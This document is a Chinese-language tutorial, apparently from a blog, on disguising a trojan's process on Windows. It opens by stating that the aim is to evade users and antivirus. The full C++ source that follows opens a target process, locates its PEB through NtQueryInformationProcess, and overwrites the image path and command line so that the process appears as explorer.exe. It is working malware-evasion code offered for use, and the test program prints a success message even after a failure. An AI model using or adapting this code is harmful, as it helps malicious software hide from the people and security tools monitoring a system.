对于木马病毒来说,最简单的进程伪装方式就是修改进程名称。例如,将本地文件名称修改为svchost.exe、services.exe等系统进程,从而不被用户和杀软发现。接下来,将要介绍的进程伪装可以修改任意指定进程的信息,即该进程信息在系统中显示的时另一个进程的信息。这样,指定进程与伪装进程的信息相同,但实际上,它还执行原来的进程的操作,这就达到了伪装的目的。
基础知识:1、什么时PEB(Process Envirorment Block Structure)
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
英文翻译过来就是进程环境信息块,这里包含了一写进程的信息。
1、NtQueryInformationProcess函数
获取指定进程的信息
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
注意:此函数没有关联的导入库,所以必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dlll中获取该函数地址
2、PROCESS_BASIC_INFORMATION结构体
https://baike.baidu.com/item/PROCESS_INFORMATION/4931802?fr=aladdin
进程伪装的原理不是很复杂,就是修改指定进程环境快中的进程路径以及命令行信息。所以,实现的关键在于进程环境块的获取。由上述的函数可知,可以通过ntdll.dll中的导出函数NtQueryInformationProcess来获取指定进程的PEB地址。获取目标进程的PEB之后,并不能直接根据指针来读写内存数据,因为该程序进程可能与目标进程并不在同一个进程内。由于进程空间独立性的缘故,所以需要通过调用WIN32 API函数ReadProcessMemory和WriteProcessMemory来读写目标进程内存。
具体的实现流程如下所示:
首先,根据进程的PID号打开指定的进程,并获取进程的句柄。
然后,从ntdll.dll中获取NtQueryInformationProcess函数的导出地址,因为该函数没有关联导入库,所以只能动态获取。
接着,使用NtQueryInformationProcess函数获取指定的进程基本信息PROCESS_BASIC_INFORMATION,并从中获取指定进程的PEB。
最后,就可以根据进程环境块中的ProcessParameters来获取指定进程的RTL_USER_PROCESS_PARAMETERS信息,这是因为PEB的路径信息、命令行信息存储在这个结构体中。调用ReadProcessMemory和WriteProcessMemory函数修改PEB中的路径信息、命令行信息等,从而实现进程伪装。
DisguiseProcess.h
#ifndef _DISGUISE_PROCESS_H_ #define _DISGUISE_PROCESS_H_ #include <Windows.h> #include <winternl.h> #include <stdio.h> #include <tchar.h> #include <SDKDDKVer.h> typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ); // 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装 BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd); #endif
DisguiseProcess.cpp
#include "DisguiseProcess.h" void ShowError(char* pszText) { char szErr[MAX_PATH] = { 0 }; ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szErr, "ERROR", MB_OK); } // 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装 BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) { // 打开进程获取句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL; PROCESS_BASIC_INFORMATION pbi = { 0 }; PEB peb = { 0 }; RTL_USER_PROCESS_PARAMETERS Param = { 0 }; USHORT usCmdLen = 0; USHORT usPathLen = 0; // 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址 NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress( ::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess"); if (NULL == NtQueryInformationProcess) { ShowError("GetProcAddress"); return FALSE; } // 获取指定进程的基本信息 NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); if (!NT_SUCCESS(status)) { ShowError("NtQueryInformationProcess"); return FALSE; } /* 注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作, 每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。 要不然一直提示位置访问错误! */ // 获取指定进程进本信息结构中的PebBaseAddress ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); // 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中 ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL); // 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中 usCmdLen = 2 + 2 * wcslen(lpwszCmd); WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL); ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL); // 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中 usPathLen = 2 + 2 * wcslen(lpwszPath); WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL); WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL); return TRUE; }
DisguiseProcess_Test.cpp
#include "DisguiseProcess.h" int _tmain(int argc, _TCHAR* argv[]) { if (FALSE == DisguiseProcess(9968, L"C:\\Windows\\explorer.exe", L"explorer.exe")) { printf("Dsisguise Process Error.\n"); } printf("Dsisguise Process OK.\n"); system("pause"); return 0; }
注意:1、一定要区分指针指向的是指定进程的空间还是本程序的空间,若指向其他进程空间,则一律使用ReadProcessMemory和WriteProcessMemory函数进行数据读写。
2、PEB修改程序在64位和32位系统中,分别编译为64位程序和32程序